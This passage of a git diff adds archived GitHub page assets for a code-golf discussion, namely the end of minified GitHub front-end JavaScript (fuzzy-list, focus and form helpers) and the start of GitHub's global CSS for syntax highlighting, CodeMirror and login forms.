l=new MutationObserver(C=>{let A=!1;for(const W of C)if(W.type==="childList"&&W.addedNodes.length){for(const q of W.addedNodes)if(q instanceof HTMLLIElement&&!f.has(q)){const z=D(q);A=A||(0,b.CD)(this.value,z),f.add(q)}}A&&this.sort()});l.observe(h,{childList:!0});const w={handler:l,items:f,lazyItems:new Map,timer:null};E.set(this,w)}disconnectedCallback(){const h=E.get(this);h&&(h.handler.disconnect(),E.delete(this))}addLazyItems(h,f){const c=E.get(this);if(!c)return;const{lazyItems:l}=c,{value:w}=this;let C=!1;for(const A of h)l.set(A,f),C=C||Boolean(w)&&(0,b.CD)(w,A);C&&this.sort()}sort(){const h=p.get(this);h&&(h.aborted=!0);const f={aborted:!1};p.set(this,f);const{minScore:c,markSelector:l,maxMatches:w,value:C}=this,A=E.get(this);if(!A||!this.dispatchEvent(new CustomEvent("fuzzy-list-will-sort",{cancelable:!0,detail:C})))return;const{items:W,lazyItems:q}=A,z=this.hasAttribute("mark-selector"),U=this.querySelector("ul");if(!U)return;const k=[];if(C){for(const M of W){const S=D(M),H=L(C,S,c);H!==-1/0&&k.push({item:M,score:H})}for(const[M,S]of q){const H=L(C,M,c);H!==-1/0&&k.push({text:M,render:S,score:H})}k.sort((M,S)=>S.score-M.score).splice(w)}else{let M=k.length;for(const S of W){if(M>=w)break;k.push({item:S,score:1}),M+=1}for(const[S,H]of q){if(M>=w)break;k.push({text:S,render:H,score:1}),M+=1}}requestAnimationFrame(()=>{if(f.aborted)return;const M=U.querySelector('input[type="radio"]:checked');U.innerHTML="";let S=0;const H=a(()=>{if(f.aborted)return;const G=Math.min(k.length,S+100),dt=document.createDocumentFragment();for(let j=S;j0),this.dispatchEvent(new CustomEvent("fuzzy-list-sorted",{detail:k.length}))}},"nextBatch");H()})}get value(){return this.getAttribute("value")||""}set value(h){this.setAttribute("value",h)}get markSelector(){return this.getAttribute("mark-selector")||""}set markSelector(h){h?this.setAttribute("mark-selector",h):this.removeAttribute("mark-selector")}get minScore(){return Number(this.getAttribute("min-score")||0)}set minScore(h){Number.isNaN(h)||this.setAttribute("min-score",String(h))}get maxMatches(){return Number(this.getAttribute("max-matches")||1/0)}set maxMatches(h){Number.isNaN(h)||this.setAttribute("max-matches",String(h))}static get observedAttributes(){return["value","mark-selector","min-score","max-matches"]}attributeChangedCallback(h,f,c){if(f===c)return;const l=E.get(this);!l||(l.timer&&window.clearTimeout(l.timer),l.timer=window.setTimeout(()=>this.sort(),100))}}a(_,"FuzzyListElement");const d=_;window.customElements.get("fuzzy-list")||(window.FuzzyListElement=_,window.customElements.define("fuzzy-list",_))},45075:(B,P,m)=>{m.d(P,{ZG:()=>E,q6:()=>D,w4:()=>I});var b=m(8439);let L=!1;const y=new b.Z;function p(_){const d=_.target;if(d instanceof HTMLElement&&d.nodeType!==Node.DOCUMENT_NODE)for(const o of y.matches(d))o.data.call(null,d)}a(p,"handleFocus");function E(_,d){L||(L=!0,document.addEventListener("focus",p,!0)),y.add(_,d),document.activeElement instanceof HTMLElement&&document.activeElement.matches(_)&&d(document.activeElement)}a(E,"onFocus");function I(_,d,o){function h(f){const c=f.currentTarget;!c||(c.removeEventListener(_,o),c.removeEventListener("blur",h))}a(h,"blurHandler"),E(d,function(f){f.addEventListener(_,o),f.addEventListener("blur",h)})}a(I,"onKey");function D(_,d){function o(h){const{currentTarget:f}=h;!f||(f.removeEventListener("input",d),f.removeEventListener("blur",o))}a(o,"blurHandler"),E(_,function(h){h.addEventListener("input",d),h.addEventListener("blur",o)})}a(D,"onInput")},12981:(B,P,m)=>{m.d(P,{r:()=>b});function b(L,y){const p=L.createElement("template");return p.innerHTML=y,L.importNode(p.content,!0)}a(b,"parseHTML")},37211:(B,P,m)=>{m.d(P,{X:()=>L});var b=m(64463);function L(){return/Windows/.test(navigator.userAgent)?"windows":/Macintosh/.test(navigator.userAgent)?"mac":null}a(L,"getPlatform");function y(p){const E=(p.getAttribute("data-platforms")||"").split(","),I=L();return Boolean(I&&E.includes(I))}a(y,"runningOnPlatform"),(0,b.N7)(".js-remove-unless-platform",function(p){y(p)||p.remove()})},2061:(B,P,m)=>{m.d(P,{j:()=>b,u:()=>L});function b(y){const p=y.closest("form");if(!(p instanceof HTMLFormElement))return;let E=L(p);if(y.name){const I=y.matches("input[type=submit]")?"Submit":"",D=y.value||I;E||(E=document.createElement("input"),E.type="hidden",E.classList.add("is-submit-button-value"),p.prepend(E)),E.name=y.name,E.value=D}else E&&E.remove()}a(b,"persistSubmitButtonValue");function L(y){const p=y.querySelector("input.is-submit-button-value");return p instanceof HTMLInputElement?p:null}a(L,"findPersistedSubmitButtonValue")}},B=>{var P=a(b=>B(B.s=b),"__webpack_exec__");B.O(0,["vendors-node_modules_selector-observer_dist_index_esm_js","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe","vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-c7e9ed","vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_time-elements_dist_index_js","vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-52e104"],()=>P(47486));var m=B.O()}]);})(); + +//# sourceMappingURL=github-elements-1649ccafecd9.js.map \ No newline at end of file diff --git a/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/global-181aeb293fed.css b/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/global-181aeb293fed.css new file mode 100644 index 0000000..2192c7e --- /dev/null +++ b/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/global-181aeb293fed.css @@ -0,0 +1,11 @@ +.color-border-inverse{border-color:var(--color-fg-on-emphasis) !important}.bg-gray-2,.bg-gray-3{background-color:var(--color-neutral-muted) !important}.color-text-white{color:var(--color-scale-white) !important}.border-white-fade{border-color:rgba(255,255,255,.15) !important}.lead{color:var(--color-fg-muted)}.text-emphasized{color:var(--color-fg-default)}.Label.Label--orange{color:var(--color-severe-fg);border-color:var(--color-severe-emphasis)}.Label.Label--purple{color:var(--color-done-fg);border-color:var(--color-done-emphasis)}.Label.Label--pink{color:var(--color-sponsors-fg);border-color:var(--color-sponsors-emphasis)}/*! + * GitHub Light v0.5.0 + * Copyright (c) 2012 - 2017 GitHub, Inc. + * Licensed under MIT (https://github.com/primer/github-syntax-theme-generator/blob/master/LICENSE) + */.pl-c{color:var(--color-prettylights-syntax-comment)}.pl-c1,.pl-s .pl-v{color:var(--color-prettylights-syntax-constant)}.pl-e,.pl-en{color:var(--color-prettylights-syntax-entity)}.pl-smi,.pl-s .pl-s1{color:var(--color-prettylights-syntax-storage-modifier-import)}.pl-ent{color:var(--color-prettylights-syntax-entity-tag)}.pl-k{color:var(--color-prettylights-syntax-keyword)}.pl-s,.pl-pds,.pl-s .pl-pse .pl-s1,.pl-sr,.pl-sr .pl-cce,.pl-sr .pl-sre,.pl-sr .pl-sra{color:var(--color-prettylights-syntax-string)}.pl-v,.pl-smw{color:var(--color-prettylights-syntax-variable)}.pl-bu{color:var(--color-prettylights-syntax-brackethighlighter-unmatched)}.pl-ii{color:var(--color-prettylights-syntax-invalid-illegal-text);background-color:var(--color-prettylights-syntax-invalid-illegal-bg)}.pl-c2{color:var(--color-prettylights-syntax-carriage-return-text);background-color:var(--color-prettylights-syntax-carriage-return-bg)}.pl-c2::before{content:"^M"}.pl-sr .pl-cce{font-weight:bold;color:var(--color-prettylights-syntax-string-regexp)}.pl-ml{color:var(--color-prettylights-syntax-markup-list)}.pl-mh,.pl-mh .pl-en,.pl-ms{font-weight:bold;color:var(--color-prettylights-syntax-markup-heading)}.pl-mi{font-style:italic;color:var(--color-prettylights-syntax-markup-italic)}.pl-mb{font-weight:bold;color:var(--color-prettylights-syntax-markup-bold)}.pl-md{color:var(--color-prettylights-syntax-markup-deleted-text);background-color:var(--color-prettylights-syntax-markup-deleted-bg)}.pl-mi1{color:var(--color-prettylights-syntax-markup-inserted-text);background-color:var(--color-prettylights-syntax-markup-inserted-bg)}.pl-mc{color:var(--color-prettylights-syntax-markup-changed-text);background-color:var(--color-prettylights-syntax-markup-changed-bg)}.pl-mi2{color:var(--color-prettylights-syntax-markup-ignored-text);background-color:var(--color-prettylights-syntax-markup-ignored-bg)}.pl-mdr{font-weight:bold;color:var(--color-prettylights-syntax-meta-diff-range)}.pl-ba{color:var(--color-prettylights-syntax-brackethighlighter-angle)}.pl-sg{color:var(--color-prettylights-syntax-sublimelinter-gutter-mark)}.pl-corl{text-decoration:underline;color:var(--color-prettylights-syntax-constant-other-reference-link)}.CodeMirror{font-family:monospace;height:300px;color:black;direction:ltr}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:white}.CodeMirror-gutters{border-right:1px solid #ddd;background-color:#f7f7f7;white-space:nowrap}.CodeMirror-linenumber{padding:0 3px 0 5px;min-width:20px;text-align:right;color:#999;white-space:nowrap}.CodeMirror-guttermarker{color:black}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{border-left:1px solid black;border-right:none;width:0}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;border:0 !important;background:#7e7}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor-mark{background-color:rgba(20, 255, 20, 0.5);animation:blink 1.06s steps(1) infinite}.cm-animate-fat-cursor{width:auto;border:0;animation:blink 1.06s steps(1) infinite;background-color:#7e7}@keyframes blink{50%{background-color:transparent}}.cm-tab{display:inline-block;text-decoration:inherit}.CodeMirror-rulers{position:absolute;left:0;right:0;top:-50px;bottom:0;overflow:hidden}.CodeMirror-ruler{border-left:1px solid #ccc;top:0;bottom:0;position:absolute}.cm-s-default .cm-header{color:blue}.cm-s-default .cm-quote{color:#090}.cm-negative{color:#d44}.cm-positive{color:#292}.cm-header,.cm-strong{font-weight:bold}.cm-em{font-style:italic}.cm-link{text-decoration:underline}.cm-strikethrough{text-decoration:line-through}.cm-s-default .cm-keyword{color:#708}.cm-s-default .cm-atom{color:#219}.cm-s-default .cm-number{color:#164}.cm-s-default .cm-def{color:blue}.cm-s-default .cm-variable-2{color:#05a}.cm-s-default .cm-variable-3,.cm-s-default .cm-type{color:#085}.cm-s-default .cm-comment{color:#a50}.cm-s-default .cm-string{color:#a11}.cm-s-default .cm-string-2{color:#f50}.cm-s-default .cm-meta{color:#555}.cm-s-default .cm-qualifier{color:#555}.cm-s-default .cm-builtin{color:#30a}.cm-s-default .cm-bracket{color:#997}.cm-s-default .cm-tag{color:#170}.cm-s-default .cm-attribute{color:#00c}.cm-s-default .cm-hr{color:#999}.cm-s-default .cm-link{color:#00c}.cm-s-default .cm-error{color:red}.cm-invalidchar{color:red}.CodeMirror-composing{border-bottom:2px solid}div.CodeMirror span.CodeMirror-matchingbracket{color:#0b0}div.CodeMirror span.CodeMirror-nonmatchingbracket{color:#a22}.CodeMirror-matchingtag{background:rgba(255, 150, 0, 0.3)}.CodeMirror-activeline-background{background:#e8f2ff}.CodeMirror{position:relative;overflow:hidden;background:white}.CodeMirror-scroll{overflow:scroll !important;margin-bottom:-50px;margin-right:-50px;padding-bottom:50px;height:100%;outline:none;position:relative}.CodeMirror-sizer{position:relative;border-right:50px solid transparent}.CodeMirror-vscrollbar,.CodeMirror-hscrollbar,.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{position:absolute;z-index:6;display:none;outline:none}.CodeMirror-vscrollbar{right:0;top:0;overflow-x:hidden;overflow-y:scroll}.CodeMirror-hscrollbar{bottom:0;left:0;overflow-y:hidden;overflow-x:scroll}.CodeMirror-scrollbar-filler{right:0;bottom:0}.CodeMirror-gutter-filler{left:0;bottom:0}.CodeMirror-gutters{position:absolute;left:0;top:0;min-height:100%;z-index:3}.CodeMirror-gutter{white-space:normal;height:100%;display:inline-block;vertical-align:top;margin-bottom:-50px}.CodeMirror-gutter-wrapper{position:absolute;z-index:4;background:none !important;border:none !important}.CodeMirror-gutter-background{position:absolute;top:0;bottom:0;z-index:4}.CodeMirror-gutter-elt{position:absolute;cursor:default;z-index:4}.CodeMirror-gutter-wrapper ::selection{background-color:transparent}.CodeMirror-gutter-wrapper ::-moz-selection{background-color:transparent}.CodeMirror-lines{cursor:text;min-height:1px}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{border-radius:0;border-width:0;background:transparent;font-family:inherit;font-size:inherit;margin:0;white-space:pre;word-wrap:normal;line-height:inherit;color:inherit;z-index:2;position:relative;overflow:visible;-webkit-tap-highlight-color:transparent;font-variant-ligatures:contextual}.CodeMirror-wrap pre.CodeMirror-line,.CodeMirror-wrap pre.CodeMirror-line-like{word-wrap:break-word;white-space:pre-wrap;word-break:normal}.CodeMirror-linebackground{position:absolute;left:0;right:0;top:0;bottom:0;z-index:0}.CodeMirror-linewidget{position:relative;z-index:2;padding:.1px}.CodeMirror-rtl pre{direction:rtl}.CodeMirror-code{outline:none}.CodeMirror-scroll,.CodeMirror-sizer,.CodeMirror-gutter,.CodeMirror-gutters,.CodeMirror-linenumber{box-sizing:content-box}.CodeMirror-measure{position:absolute;width:100%;height:0;overflow:hidden;visibility:hidden}.CodeMirror-cursor{position:absolute;pointer-events:none}.CodeMirror-measure pre{position:static}div.CodeMirror-cursors{visibility:hidden;position:relative;z-index:3}div.CodeMirror-dragcursors{visibility:visible}.CodeMirror-focused div.CodeMirror-cursors{visibility:visible}.CodeMirror-selected{background:#d9d9d9}.CodeMirror-focused .CodeMirror-selected{background:#d7d4f0}.CodeMirror-crosshair{cursor:crosshair}.CodeMirror-line::selection,.CodeMirror-line>span::selection,.CodeMirror-line>span>span::selection{background:#d7d4f0}.CodeMirror-line::-moz-selection,.CodeMirror-line>span::-moz-selection,.CodeMirror-line>span>span::-moz-selection{background:#d7d4f0}.cm-searching{background-color:#ffa;background-color:rgba(255, 255, 0, 0.4)}.cm-force-border{padding-right:.1px}@media print{.CodeMirror div.CodeMirror-cursors{visibility:hidden}}.cm-tab-wrap-hack:after{content:""}span.CodeMirror-selectedtext{background:none}.CodeMirror-dialog{position:absolute;left:0;right:0;background:inherit;z-index:15;padding:.1em .8em;overflow:hidden;color:inherit}.CodeMirror-dialog-top{border-bottom:1px solid #eee;top:0}.CodeMirror-dialog-bottom{border-top:1px solid #eee;bottom:0}.CodeMirror-dialog input{border:none;outline:none;background:transparent;width:20em;color:inherit;font-family:monospace}.CodeMirror-dialog button{font-size:70%}.CodeMirror-merge{position:relative;border:1px solid #ddd;white-space:pre}.CodeMirror-merge,.CodeMirror-merge .CodeMirror{height:350px}.CodeMirror-merge-2pane .CodeMirror-merge-pane{width:47%}.CodeMirror-merge-2pane .CodeMirror-merge-gap{width:6%}.CodeMirror-merge-3pane .CodeMirror-merge-pane{width:31%}.CodeMirror-merge-3pane .CodeMirror-merge-gap{width:3.5%}.CodeMirror-merge-pane{display:inline-block;white-space:normal;vertical-align:top}.CodeMirror-merge-pane-rightmost{position:absolute;right:0px;z-index:1}.CodeMirror-merge-gap{z-index:2;display:inline-block;height:100%;box-sizing:border-box;overflow:hidden;border-left:1px solid #ddd;border-right:1px solid #ddd;position:relative;background:#f8f8f8}.CodeMirror-merge-scrolllock-wrap{position:absolute;bottom:0;left:50%}.CodeMirror-merge-scrolllock{position:relative;left:-50%;cursor:pointer;color:#555;line-height:1}.CodeMirror-merge-scrolllock:after{content:"⇛  ⇚"}.CodeMirror-merge-scrolllock.CodeMirror-merge-scrolllock-enabled:after{content:"⇛⇚"}.CodeMirror-merge-copybuttons-left,.CodeMirror-merge-copybuttons-right{position:absolute;left:0;top:0;right:0;bottom:0;line-height:1}.CodeMirror-merge-copy{position:absolute;cursor:pointer;color:#44c;z-index:3}.CodeMirror-merge-copy-reverse{position:absolute;cursor:pointer;color:#44c}.CodeMirror-merge-copybuttons-left .CodeMirror-merge-copy{left:2px}.CodeMirror-merge-copybuttons-right .CodeMirror-merge-copy{right:2px}.CodeMirror-merge-r-inserted,.CodeMirror-merge-l-inserted{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAACCAYAAACddGYaAAAAGUlEQVQI12MwuCXy3+CWyH8GBgYGJgYkAABZbAQ9ELXurwAAAABJRU5ErkJggg==);background-position:bottom left;background-repeat:repeat-x}.CodeMirror-merge-r-deleted,.CodeMirror-merge-l-deleted{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAACCAYAAACddGYaAAAAGUlEQVQI12M4Kyb2/6yY2H8GBgYGJgYkAABURgPz6Ks7wQAAAABJRU5ErkJggg==);background-position:bottom left;background-repeat:repeat-x}.CodeMirror-merge-r-chunk{background:#ffffe0}.CodeMirror-merge-r-chunk-start{border-top:1px solid #ee8}.CodeMirror-merge-r-chunk-end{border-bottom:1px solid #ee8}.CodeMirror-merge-r-connect{fill:#ffffe0;stroke:#ee8;stroke-width:1px}.CodeMirror-merge-l-chunk{background:#eef}.CodeMirror-merge-l-chunk-start{border-top:1px solid #88e}.CodeMirror-merge-l-chunk-end{border-bottom:1px solid #88e}.CodeMirror-merge-l-connect{fill:#eef;stroke:#88e;stroke-width:1px}.CodeMirror-merge-l-chunk.CodeMirror-merge-r-chunk{background:#dfd}.CodeMirror-merge-l-chunk-start.CodeMirror-merge-r-chunk-start{border-top:1px solid #4e4}.CodeMirror-merge-l-chunk-end.CodeMirror-merge-r-chunk-end{border-bottom:1px solid #4e4}.CodeMirror-merge-collapsed-widget:before{content:"(...)"}.CodeMirror-merge-collapsed-widget{cursor:pointer;color:#88b;background:#eef;border:1px solid #ddf;font-size:90%;padding:0 3px;border-radius:4px}.CodeMirror-merge-collapsed-line .CodeMirror-gutter-elt{display:none}/*! + * GitHub Light v0.4.2 + * Copyright (c) 2012 - 2017 GitHub, Inc. + * Licensed under MIT (https://github.com/primer/github-syntax-theme-generator/blob/master/LICENSE) + */.cm-s-github-light.CodeMirror{background:var(--color-codemirror-bg);color:var(--color-codemirror-text)}.cm-s-github-light .CodeMirror-gutters{background:var(--color-codemirror-gutters-bg);border-right-width:0}.cm-s-github-light .CodeMirror-guttermarker{color:var(--color-codemirror-guttermarker-text)}.cm-s-github-light .CodeMirror-guttermarker-subtle{color:var(--color-codemirror-guttermarker-subtle-text)}.cm-s-github-light .CodeMirror-linenumber{color:var(--color-codemirror-linenumber-text);padding:0 16px 0 16px}.cm-s-github-light .CodeMirror-cursor{border-left:1px solid var(--color-codemirror-cursor)}.cm-s-github-light.CodeMirror-focused .CodeMirror-selected,.cm-s-github-light .CodeMirror-line::selection,.cm-s-github-light .CodeMirror-line>span::selection,.cm-s-github-light .CodeMirror-line>span>span::selection{background:var(--color-codemirror-selection-bg, #d7d4f0)}.cm-s-github-light .CodeMirror-line::-moz-selection,.cm-s-github-light .CodeMirror-line>span::-moz-selection,.cm-s-github-light .CodeMirror-line>span>span::-moz-selection{background:var(--color-codemirror-selection-bg, #d7d4f0)}.cm-s-github-light .CodeMirror-activeline-background{background:var(--color-codemirror-activeline-bg)}.cm-s-github-light .CodeMirror-matchingbracket{text-decoration:underline;color:var(--color-codemirror-matchingbracket-text) !important}.cm-s-github-light .CodeMirror-lines{font-family:"SFMono-Regular",Consolas,"Liberation Mono",Menlo,Courier,monospace;font-size:12px;background:var(--color-codemirror-lines-bg);line-height:1.5}.cm-s-github-light .cm-comment{color:var(--color-codemirror-syntax-comment)}.cm-s-github-light .cm-constant{color:var(--color-codemirror-syntax-constant)}.cm-s-github-light .cm-entity{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-entity)}.cm-s-github-light .cm-keyword{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-keyword)}.cm-s-github-light .cm-storage{color:var(--color-codemirror-syntax-storage)}.cm-s-github-light .cm-string{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-string)}.cm-s-github-light .cm-support{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-support)}.cm-s-github-light .cm-variable{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-variable)}details-dialog{position:fixed;margin:10vh auto;top:0;left:50%;transform:translateX(-50%);z-index:999;max-height:80vh;max-width:90vw;width:448px;overflow:auto}.user-select-contain{-webkit-user-select:contain;user-select:contain}.ajax-pagination-form .ajax-pagination-btn{width:100%;padding:6px;margin-top:20px;font-weight:600;color:var(--color-accent-fg);background:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.ajax-pagination-form .ajax-pagination-btn:hover,.ajax-pagination-form .ajax-pagination-btn:focus{color:var(--color-accent-fg);background-color:var(--color-canvas-subtle)}.ajax-pagination-form.loading .ajax-pagination-btn{text-indent:-3000px;background-color:var(--color-canvas-subtle);background-image:url("/images/spinners/octocat-spinner-16px-EAF2F5.gif");background-repeat:no-repeat;background-position:center center;border-color:var(--color-border-default)}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){.ajax-pagination-form.loading .ajax-pagination-btn{background-image:url("/images/spinners/octocat-spinner-32-EAF2F5.gif");background-size:16px auto}}body.intent-mouse [role=button]:focus,body.intent-mouse [role=tabpanel][tabindex="0"]:focus,body.intent-mouse button:focus,body.intent-mouse summary:focus,body.intent-mouse a:focus{outline:none;box-shadow:none}body.intent-mouse [tabindex="0"]:focus,body.intent-mouse details-dialog:focus{outline:none}.CodeMirror{height:calc(100vh - 1px)}.file-editor-upload{height:100%}.issue-template-editor{height:100%}.file-editor-textarea{width:100%;padding:5px 4px;font:12px ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;resize:vertical;border:0;border-radius:0;outline:none}.container-preview .tabnav-tabs{margin:-5px 0 -5px -9px}.container-preview .tabnav-tabs .tabnav-tab{padding:12px 16px;border-radius:0}.container-preview .tabnav-tabs>.selected:first-child{border-top-left-radius:6px}.container-preview .tabnav-tabs .selected{font-weight:600}.container-preview.template-editor .commit-create,.container-preview.template-editor .file-actions{display:block}.container-preview.template-editor .show-code,.container-preview.template-editor .commit-preview,.container-preview.template-editor .loading-preview-msg,.container-preview.template-editor .no-changes-preview-msg,.container-preview.template-editor .error-preview-msg{display:none !important}.container-preview.render-editor .commit-create,.container-preview.render-editor .file-actions{display:block}.container-preview.render-editor .template-editor,.container-preview.render-editor .show-code,.container-preview.render-editor .commit-preview,.container-preview.render-editor .loading-preview-msg,.container-preview.render-editor .no-changes-preview-msg,.container-preview.render-editor .error-preview-msg{display:none !important}.container-preview.show-code .commit-create,.container-preview.show-code .file-actions{display:block}.container-preview.show-code .template-editor,.container-preview.show-code .render-editor,.container-preview.show-code .commit-preview,.container-preview.show-code .loading-preview-msg,.container-preview.show-code .no-changes-preview-msg,.container-preview.show-code .error-preview-msg{display:none !important}.container-preview:not(.show-code) .commit-create,.container-preview:not(.show-code) .file-actions{display:none !important}.container-preview.loading-preview .loading-preview-msg{display:block}.container-preview.loading-preview .template-editor,.container-preview.loading-preview .render-editor,.container-preview.loading-preview .no-changes-preview-msg,.container-preview.loading-preview .error-preview-msg,.container-preview.loading-preview .commit-preview{display:none !important}.container-preview.show-preview .commit-preview{display:block}.container-preview.show-preview .template-editor,.container-preview.show-preview .render-editor,.container-preview.show-preview .loading-preview-msg,.container-preview.show-preview .no-changes-preview-msg,.container-preview.show-preview .error-preview-msg{display:none !important}.container-preview.no-changes-preview .no-changes-preview-msg{display:block}.container-preview.no-changes-preview .template-editor,.container-preview.no-changes-preview .render-editor,.container-preview.no-changes-preview .loading-preview-msg,.container-preview.no-changes-preview .error-preview-msg,.container-preview.no-changes-preview .commit-preview{display:none !important}.container-preview.error-preview .error-preview-msg{display:block}.container-preview.error-preview .template-editor,.container-preview.error-preview .render-editor,.container-preview.error-preview .loading-preview-msg,.container-preview.error-preview .no-changes-preview-msg,.container-preview.error-preview .commit-preview{display:none !important}.container-preview p.preview-msg{padding:30px;font-size:16px}.CodeMirror-merge-header{height:30px}.CodeMirror-merge-header .CodeMirror-merge-pane{height:30px;line-height:30px}.cm-s-github-light .merge-gutter{width:14px}.conflict-background+.CodeMirror-gutter-wrapper .CodeMirror-linenumber{background-color:var(--color-attention-subtle)}.form-group .edit-action{opacity:.6}.form-group .form-field-hover{background-color:none;border:1px solid var(--color-border-default)}.form-group:hover .edit-action{cursor:pointer;opacity:.7}.form-group:hover .form-field-hover{cursor:pointer;border:1px solid var(--color-border-default)}.placeholder-box{border:1px solid var(--color-border-default)}.template-previews{max-width:768px}.template-previews .Box .expand-group{display:none;height:0}.template-previews .Box .dismiss-preview-button{display:none}.template-previews .Box.expand-preview .expand-group{display:block;height:100%;transition:height 3s}.template-previews .Box.expand-preview .preview-button{display:none}.template-previews .Box.expand-preview .dismiss-preview-button{display:inline}.template-previews .discussion-sidebar-heading{font-size:14px;color:var(--color-neutral-emphasis)}.template-previews .discussion-sidebar-heading:hover{color:var(--color-accent-emphasis)}.edit-labels{display:none}.preview-section{display:block}.edit-section{display:none}.Box .section-focus .preview-section{display:none}.Box .section-focus .edit-section{display:block}.commit-create .CodeMirror{padding-top:8px}auto-complete,details-dialog,details-menu,file-attachment,filter-input,remote-input,tab-container,text-expander,turbo-frame,[data-catalyst]{display:block}[data-catalyst-inline]{display:inline}.Details--on .Details-content--shown{display:none !important}.Details:not(.Details--on) .Details-content--hidden{display:none !important}.Details:not(.Details--on) .Details-content--hidden-not-important{display:none}.Details-element[open]>summary .Details-content--closed{display:none !important}.Details-element:not([open])>summary .Details-content--open{display:none !important}g-emoji{display:inline-block;min-width:1ch;font-family:"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol";font-size:1em;font-style:normal !important;font-weight:400;line-height:1;vertical-align:-0.075em}g-emoji img{width:1em;height:1em}.emoji-icon{display:inline-block;width:20px;height:20px;vertical-align:middle;background-repeat:no-repeat;background-size:20px 20px}.emoji-result{display:inline-block;height:20px;font-size:16px;font-weight:400;vertical-align:middle}.gollum-editor .comment-form-head.tabnav{border:1px solid var(--color-border-muted)}.gollum-editor .gollum-editor-body{height:390px;resize:vertical}.active .gollum-editor-function-buttons{display:block !important}.auth-form{width:340px;margin:0 auto}.auth-form .form-group.warn .warning,.auth-form .form-group.warn .error,.auth-form .form-group.errored .warning,.auth-form .form-group.errored .error{max-width:274px}.auth-form-header{padding:8px 16px;margin:0;color:#fff;text-shadow:0 -1px 0 rgba(0,0,0,.3);background-color:#829aa8;border:1px solid #768995;border-radius:6px 6px 0 0}.auth-form-header h1{font-size:16px}.auth-form-header h1 a{color:#fff}.auth-form-header .octicon{position:absolute;top:10px;right:20px;color:rgba(0,0,0,.4);text-shadow:0 1px 0 rgba(255,255,255,.1)}.auth-form-message{max-height:140px;padding:16px 16px 8px;overflow-y:scroll;border:1px solid var(--color-border-default);border-radius:6px}.auth-form-message ol,.auth-form-message ul{padding-left:inherit;margin-bottom:inherit}.auth-form-body{padding:16px;font-size:14px;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-muted);border-top:0;border-radius:0 0 6px 6px}.auth-form-body .input-block{margin-top:4px;margin-bottom:16px}.auth-form-body p{margin-bottom:0}.auth-form-body ol,.auth-form-body ul{padding-left:inherit;margin-bottom:inherit}.two-factor-help{position:relative;padding:8px 8px 8px 32px;margin:60px 0 auto auto;border:1px solid var(--color-border-muted);border-radius:6px}.two-factor-help h4{margin-top:0;margin-bottom:4px}.two-factor-help .octicon-device-mobile,.two-factor-help .octicon-key,.two-factor-help .octicon-shield-lock,.two-factor-help .octicon-circle-slash{position:absolute;top:10px;left:10px}.sms-send-code-spinner{position:relative;bottom:2px;display:none;vertical-align:bottom}.loading .sms-send-code-spinner{display:inline}.auth-form-body .webauthn-form-body{padding:0}.webauthn-form-body{padding:32px 32px 16px;text-align:center}.webauthn-form-body button{margin-top:16px}.flash.sms-error,.flash.sms-success{display:none;margin:0 0 8px}.is-sent .sms-success{display:block}.is-sent .sms-error{display:none}.is-not-sent .sms-success{display:none}.is-not-sent .sms-error{display:block}.session-authentication{background-color:var(--color-canvas-default)}.session-authentication .header-logged-out{background-color:transparent;border-bottom:0}.session-authentication .header-logo{color:var(--color-fg-default)}.session-authentication .flash{padding:16px 16px;margin:0 auto;margin-bottom:8px;font-size:14px;border-style:solid;border-width:1px;border-radius:6px}.session-authentication .flash .container{width:auto}.session-authentication .flash .flash-close{height:40px}.session-authentication .flash.flash-banner{width:100%;border-top:0;border-right:0;border-left:0;border-radius:0}.session-authentication .auth-form label{display:block;margin-bottom:8px;font-weight:400;text-align:left}.session-authentication .auth-form .btn{margin-top:16px}.session-authentication .auth-form .webauthn-message{margin-bottom:0}.session-authentication .label-link{float:right;font-size:12px}.session-authentication .auth-form-header{margin-bottom:16px;color:var(--color-fg-default);text-align:center;text-shadow:none;background-color:transparent;border:0}.session-authentication .auth-form-header h1{font-size:24px;font-weight:300;letter-spacing:-0.5px}.session-authentication .auth-form-body{border-top:1px solid var(--color-border-muted);border-radius:6px}.session-authentication .auth-form-body.webauthn-form-body{padding:16px}.session-authentication .login-callout{padding:16px 16px;text-align:center;border:1px solid var(--color-border-default);border-radius:6px}.session-authentication .two-factor-help{padding:0 0 0 16px;margin-top:16px;border:0}.session-authentication .two-factor-help .octicon-device-mobile,.session-authentication .two-factor-help .octicon-key,.session-authentication .two-factor-help .octicon-shield-lock,.session-authentication .two-factor-help .octicon-circle-slash{top:4px;left:0}.session-authentication.enterprise 